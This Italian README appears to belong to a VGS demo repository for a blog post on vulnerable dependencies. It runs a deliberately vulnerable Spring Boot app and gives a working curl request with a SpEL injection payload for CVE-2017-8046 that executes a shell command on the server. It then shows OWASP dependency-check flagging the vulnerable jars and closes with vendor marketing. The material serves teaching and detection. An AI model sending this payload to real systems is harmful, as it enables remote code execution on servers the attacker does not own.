
Dimostra lo sfruttamento di CVE-2017-8046 in un'applicazione Spring Boot, includendo un payload di iniezione SpEL e la verifica tramite dependency-check per i componenti vulnerabili.
DICHIARAZIONE DI NON RESPONSABILITÀ: Questo repository è supplementare al post del blog VGS, Come evitare "l'uso di componenti con vulnerabilità note". Contiene un'applicazione con una vulnerabilità di sicurezza nota (ovvero, CVE-2017-8046), oltre alla descrizione di come sfruttarla. Utilizza l'applicazione a tuo rischio e pericolo!
Prima, avvia l'applicazione eseguendo il seguente comando dalla radice del repository:
mvn clean spring-boot:run
Secondo, crea una risorsa inviando una richiesta POST in questo modo:
curl -X POST http://localhost:8080/books \
-H 'Content-Type: application/json' \
-d '{"isbn":"978-3827268969","title":"Thinking in Java","author":"Bruce Eckel"}'
curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ifconfig\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'
Se stai eseguendo l'applicazione su un sistema operativo basato su Unix (ad es. macOS), la risposta conterrà la configurazione di rete dell'host. In effetti, qualsiasi espressione SpEL può essere utilizzata.
mvn clean package verify
La build fallirà poiché è stata identificata una dipendenza con una vulnerabilità ad alto rischio:
[ERROR] Failed to execute goal org.owasp:dependency-check-maven:3.3.2:check (default) on project CVE-2017-8046:
[ERROR]
[ERROR] One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0':
[ERROR]
[ERROR] spring-boot-1.5.5.RELEASE.jar: CVE-2017-8046
[ERROR] spring-core-4.3.10.RELEASE.jar: CVE-2018-1275, CVE-2018-1270
[ERROR] jackson-databind-2.8.9.jar: CVE-2017-15095, CVE-2017-17485, CVE-2018-7489
[ERROR] spring-boot-starter-data-rest-1.5.5.RELEASE.jar: CVE-2018-1273, CVE-2017-8046
[ERROR]
[ERROR] See the dependency-check report for more details.
Vuoi iniziare subito? Dai un'occhiata alla nostra guida per iniziare.
Very Good Security (VGS) ti consente di migliorare la tua posizione di sicurezza mantenendo l'utilità dei tuoi dati internamente e con terze parti. Come vantaggio aggiuntivo, acceleriamo il tuo processo di certificazione di conformità e ti aiutiamo a ottenere rapidamente le conformità relative alla sicurezza che si frappongono tra te e le tue opportunità di mercato.
Per saperne di più, visitaci su https://www.verygoodsecurity.com/
Questo progetto è concesso in licenza secondo i termini della licenza MIT. Consulta il file LICENSE per i dettagli.